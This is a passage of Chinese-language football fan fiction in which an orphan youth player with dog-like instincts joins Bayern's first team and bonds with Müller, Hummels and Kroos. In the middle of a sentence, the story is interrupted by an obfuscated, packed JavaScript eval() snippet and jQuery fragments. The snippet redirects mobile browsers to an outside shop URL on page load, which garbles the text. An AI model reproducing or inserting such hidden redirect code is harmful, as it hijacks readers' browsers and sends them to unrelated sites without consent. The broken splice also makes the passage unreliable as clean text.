早在七月初,梅洛尔就搬进了塞贝纳大街总部的青训宿舍,那时世界杯没结束,新队友们大多没归队,他是跟着拜仁二队训练的,但很多人还得上课,训练要下午才开始。虽然没有人要求,他也习惯性地早起,尾随住在一栋楼里的同龄人走到餐厅,胡乱填饱肚子,就跑去了训练场。
这里没有教练,没有队友,只有偶尔路过的工作人员,但没有人会一直盯着他看,这让来到陌生环境的梅洛尔难得感到自在。和球一起玩总是开心的,更让人欣喜的是,欧青赛后球在脚上的触感越发明显,以前他总理解不了什么卸力和包裹、球速和旋转,现在好像确实能感觉出来了。
梅洛尔忍不住眯起眼笑,汉斯爷爷说得对,只要一直练习,没有他学不会的东西!
重复的练习很是枯燥,但只要进步肉眼可见,它们就不再是烦恼,而是变成了一种享受。
现在的梅洛尔就沉浸在了和球做朋友的快乐中,热身后充分活动开的身体活力满满,从双脚交替颠球到高低交换,白色的皮球好像接纳了他脚掌的每一处,带球时不会总想要乱跑,停球更稳了,就连一直有些僵硬的脚踝也灵活地不像话!
“也不怪大家都笑我……”
不小心踢飞球后,梅洛尔停下来喘气,过往的回忆涌上心头,让他忍不住红着脸低喃。
他是个孤儿,八岁在儿童之家被科特布斯发掘,然后就带到了青训营。梅洛尔的速度和跑位在一众小球员里鹤立鸡群,基本功却一塌糊涂,别人很快就能把各种动作应用自如,他却还在和自己的内脚背搏斗。
幸好汉斯爷爷不嫌弃他,只是用大嗓门吼着:“我第一次见你就知道,你是特殊的,等着吧!只要找到了合适的方法,你一个能踢别人好几个!”他每天被开小灶,有了专门的训练计划,去了一线队教练也有好好教他,从替补到首发再到核心,八年的足球生涯,就算只靠肌肉记忆也该掌握全部。
梅洛尔以前什么也不想,他不知道自己为什么是特殊的,不知道大家为什么开他玩笑,甚至不知道自己为什么要反复练基础,他只是喜欢跟着爷爷去做,然后讨要一份奖励,就像一只听话的乖狗狗。
现在他知道了,前十七年的记忆模糊不清,正是因为他一直依靠着狗的本能在生活,那么梅洛尔·博德到底是披着人皮的狗,还是当自己当作狗的人呢?
梅洛尔又不知道答案了,他一股脑把疑惑和迷茫打包埋在心底,能继续踢球就很好了,干嘛想那么多呢?
仔细地按要求做完膝部专项和拉伸,太阳也还在半天边上,梅洛尔想了想,决定先回宿舍看书。汉斯爷爷说过,不能把所有东西堆到一起练,一次练习后,要隔上几个小时才好。以前懵懵懂懂,所有的知识听了也不明白,但他很听话,凭着模仿和重复走到这里,现在也不能丢。
还得好好重温一下过去学的东西,梅洛尔想起那段考前抱佛脚的日子就头疼。欧青赛后,他回到了科特布斯,本来适应突然占领高地的人类大脑就很麻烦,更别说还在成长的五感,结果考试也马上要来了!他每天都要看书,偶尔休息才能碰球,还要强忍着本能,不至于看见一个人就扑上去。大家以前对他真好呀,真不知道他小时候还会乱伸舌头的时候,汉斯爷爷是怎么过来的……
换了个脑子感觉就是不一样,梅洛尔很努力地抱佛脚,然后获得了一片红的成绩单,在大家的唉声叹气中耷拉着脑袋。他读的是实科中学,只要在10年级完成结业考试,就能拿到中学文凭,人们都说这不难,但老师摇摇头告诉他,他的成绩没有办法直接毕业,只能补考或者重读。
听完解释,梅洛尔果断选择重读,他学的知识好像都从哪进从哪出了,现在要补考,结果只会和第一次一样,还是用新脑子好好再学一年吧!
趁着现在没什么事,要好好复习下以前的课本,这里的人和欧青赛一样冷冷的,要是他不及格说不定会把他怎么样,他可不能给科特布斯丢脸!只要他专注在某件事上,周围乱七八糟的声音和气味就会变得模糊,脑子也不会发晕了!
不久后,梅洛尔突然就得到了去一线队报到的通知。他杵在原地,手里还抱着训练球,眨了眨眼睛,愣了两秒才跟上已经转身的工作人员。
拜仁一线队的训练地点和他之前用的二队球场不在同一片区域,这里的草皮修剪得更整齐,场边多了几台摄像机支架,几个穿西装的人站在远处说话。梅洛尔下意识缩了缩肩膀,他本来以为二队就很豪华了,没想到一线队更绝。想到刚才进去的漂亮更衣室,他只觉得自己像个乡下来的小土鳖,脚步都放轻了。
场上只稀稀拉拉站了十几个人,大部分是像他一样被临时抽调上来的年轻人,梅洛尔这才想起来,世界杯刚结束,拜仁的大部分主力都不在。一个西装男率先开始演讲,但他没听懂几句,好不容易那人走开了,他松了口气,又觉得自己这口气松得有点不好意思。
然后他看见了一个眼熟的高个子,对方站在中圈附近,正在弯腰整理护腿板。那人肩膀很宽,站姿有种不动声色的沉稳,他直起身,目光停在梅洛尔身上。
“这不是科特布斯的晨星吗?你也在这。”
意料之外的招呼吓了梅洛尔一跳,差点忍不住要呲牙,对面人的身高也对他不友好,让他总有后退的冲动,但他知道这些只是本能作祟,而且大高个看上去并没有恶意。
“您好,胡梅尔斯先生,您可以叫我梅洛尔。”这是他在U19的队友,他们之前都没怎么说过话,但这个人的话很好听懂。
“那是什么?听上去好傻?”胡梅尔斯嘴角抽搐,“还有你之前领的那张红牌,你是怎么想到直接扑上去的?像条笨鱼。”
这个人一点也不好!
梅洛尔没忍住呲了一下牙,怎么会有人这样揭别人短的呢?他还以为只有托尼会这样做呢!不过托尼可比这人好多了,说话很好懂,虽然偶尔会让人毛茸茸的,但总会和他一起玩,也不会拒绝他的抱抱!
对面的人完全没有被梅洛尔的示威警告到,反而嘴角抖动得更加夸张,最后噗的一声笑出声。
“好了,我们去热身吧,别傻站着了。”
不等梅洛尔继续做出反应,胡梅尔斯一句话打断了他,玩球总是让他喜欢的,他只好先在心里的小本本上记着,不过他以前好像不怎么说话的,怎么今天差别这么大?
第一天的训练比梅洛尔想象的要顺,没有对抗赛,主要是恢复性训练和简单的传跑配合。教练在场边喊口令,他听得不是很懂,只能一边感慨最近语调怪的人越来越多了,一边跟着胡梅尔斯做。他的启动速度在人群里很显眼,团队练习时的急停变向更是直接甩开了防守。
胡梅尔斯在他对面,两次被他晃开之后,低声说了句“还挺快”。
梅洛尔偷瞄了一眼,看见对方的表情不像生气,就没放在心上。训练结束后,胡梅尔斯走过来,用毛巾擦了把脖子上的汗:“等会一起去餐厅吗?”
“好呀。”梅洛尔点头如捣蒜,已经忘了刚才的不满。拜仁的餐厅是一线队和青训共用的,他来这几天慕尼黑的学校似乎还没放假,同龄人吃饭速度都不慢,也没什么人在意他,现在要一群人一起去吃饭,他着实有些怵。
胡梅尔斯似乎被他的反应逗笑了,揶揄了几句,两个人的关系拉近不少,连带着训练完被抓着按摩时都在聊天。一起按摩完,胡梅尔斯走在前面,步伐不急不慢,梅洛尔跟在他身后,正想开口问点什么,走廊拐角处突然冒出一个人影,差点撞上他们。
“马茨!”
来人个子比胡梅尔斯矮一点,但肩膀很宽,脸上挂着笑,看着就让人很放松。
“托马斯,小心点!”胡梅尔斯侧身让了让,“就你吃饭最积极!”
“吃饭哪能不积极?我还想着去找你呢!”说着,穆勒的目光已经落在了梅洛尔身上,上下打量,带着一种毫不掩饰的好奇,“你好,我是托马斯·穆勒,你是新来的吗?我以前好像没见过你?”
“您好,我是梅洛尔·博德……”这些天梅洛尔还是第一次见到这么热情的家伙,他也很想自然地打个招呼,这个人不像会拒绝他抱抱的样子,但这的人都和科特布斯不同,应该会吓到人吧?托尼第一次被他抱住的时候就后退了一大步,他也是才想明白这样不符合所谓的社交距离,要留下个好印象,说不定就能交到新朋友呢?不过这位新朋友的话有点难理解……
“那我就叫你梅洛尔了!你的名字真少见呀!”穆勒重复了一遍这个名字,“噢!我想起来了!你是那个科特布斯的晨星?”
“穆勒先生也知道这个外号吗?”梅洛尔有些不知所措,他还是第一次遇见这么活泼的人,这些天意识到在别人眼里他其实是个怪胎后,干什么都有点放不开。
穆勒伸手拍了他肩膀一下,力道不大,但带着一种自来熟的坦荡,“嘿!叫我托马斯!去吃饭是吧?走走走!今天有白香肠!你们那有这个吗?你会吃吗?我等会可以教你,先把皮剥了,蘸甜芥末,然后一口吞,你一定会喜欢的!”
原来皮要剥掉吗?梅洛尔前几天也吃了那个新奇的香肠,但他连皮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784284|210158||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一起吞的,味道还不错。
胡梅尔斯已经往前走了,穆勒走在梅洛尔旁边,还在念叨:“你以前在东德那边吃什么?拜仁餐厅的菜你可能得适应几天,不过白香肠你绝对得试试,那是巴伐利亚的灵魂——”
听着身边的絮絮叨叨,梅洛尔小声笑了,更靠近了穆勒,看后者没有反应,才轻松地往前。
他们走进餐厅时,里面已经坐了一些人。穆勒熟门熟路地带着他走来走去,给他推荐了很多肉,每一样看上去都不错:“……那边还有意大利面,但意面拿一点就够了,那种东西哪都有,白香肠可是这里的特色!”
梅洛尔找了角落的位置坐下,穆勒和胡梅尔斯一起坐在他对面。他用嘴唇碰了碰,然后学着穆勒的样子剥了一根白香肠的皮,蘸了甜芥末咬了一口,好吃,不过他也喜欢那层皮脆脆的口感。
“怎么样?”穆勒凑过来,期待地看着他。
“好吃!”梅洛尔被带得语气上扬,也许他凑上去,对面的人也不会觉得他冒犯呢?
穆勒哈哈大笑,又拿起盘子里的烤猪肘,冲他晃晃:“这个也好吃,相信我!”
胡梅尔斯安静地吃着自己的饭,偶尔插嘴,不过基本是在调侃他俩。吃到一半,梅洛尔嗅到了熟悉的气味。
那人端着餐盘,目光扫了一圈,然后落在靠窗的某个角落。他好像只是随便找了个空位坐下,动作看似很自然,但举手投足间还是透出了一种强装的镇定。梅洛尔的目光不由自主地跟着他,因为那个人是他的好友。
托尼也来拜仁了吗?
克罗斯没有第一时间看过来,他放下盘子,叉起没剥皮的白香肠咬了一口,动作从容得像在自己家。几秒后,他抬起头,目光穿过几张桌子,落在梅洛尔身上。
穆勒顺着他的目光回头看了一眼:“是你的朋友吗?他一个人吗?要不让他和我们一起吧!”
看梅洛尔欲言又止,胡梅尔斯帮他解围:“我们又不认识,凑一起吃肯定不自在。”
“托尼比较害羞,他可能不太习惯大家一起吃,我……”梅洛尔感激地看了胡梅尔斯一眼,有些不好意思开口,他很想和熟悉的小伙伴坐在一起,又舍不下刚认识的新朋友。
“没关系,你去陪他吧!”穆勒迎上他犹疑的目光,直接伸手把人拉起来,“刚来新地方有朋友陪着不是很好嘛!不过下次记得把你的朋友介绍给我们噢!”
梅洛尔开心地附和一句,想也没想用侧脸在新朋友手臂上蹭了蹭,“当然了!你们也是我的好朋友,晚上大家一起吃吧!”
看着风风火火跑开的梅洛尔,穆勒有些惊讶地收回了手,和一脸奇怪的胡梅尔斯对上视线,“我还以为他很害羞呢,没想到……”
胡梅尔斯无言地盯着还在摸手臂回味的好友,面对他的时候完全不是这个态度,在欧青赛也是只和克鲁泽黏在一起,怎么刚认识就和托马斯这么亲近呢?
“托尼,你也来拜仁了呀!”梅洛尔不知道背后发生了什么,只是兴冲冲地端着盘子坐下。
“是啊,你发现了好大的秘密!”克罗斯不咸不淡地回应。
“我之前在忙着准备期末考试嘛!都没有关注你的消息。”梅洛尔理直气壮,为了补回从脑子里流出去的知识,他可是花了很大劲的!
“噢,我还以为星星是不会看手机的呢。”克罗斯可不买账,有的人拿完冠军就没信了,真应该好好治治。
“可是也没多少人会联系我啊,托尼你这么紧张干嘛?”梅洛尔不解,他之前老发消息,托尼还问他是不是喇叭精。
“先吃饭,等会再说。”克罗斯低头去看餐盘了。
“啊,我知道了!”梅洛尔绕过桌子,一把抱住好友,“我也想和托尼一起踢球!”
“快放开,这么多人呢!”
等两人都吃完,克罗斯在梅洛尔身上扫了一圈,从头发到鞋尖,像在检查什么,“你看起来有点不一样,拜仁的餐厅更好吃吗?”
“啊?”科特布斯的餐厅也很好吃呀?
“比U19状态好多了,那会就像个蘑菇。”
“托尼!”梅洛尔激动得只想扑上去,原来托尼也看了他的比赛,还这么关心他,真好!
伸出的手却被一把抓住,“好好坐着。说说吧,刚才那两个人是谁?这么快就有新朋友了?”克罗斯有些咬牙切齿,也不知是因为周围有人看过来,还是别的什么。
“托马斯和马茨人很好的,我晚上介绍你们认识噢!”
这是梅洛尔两个月来最开心的一天。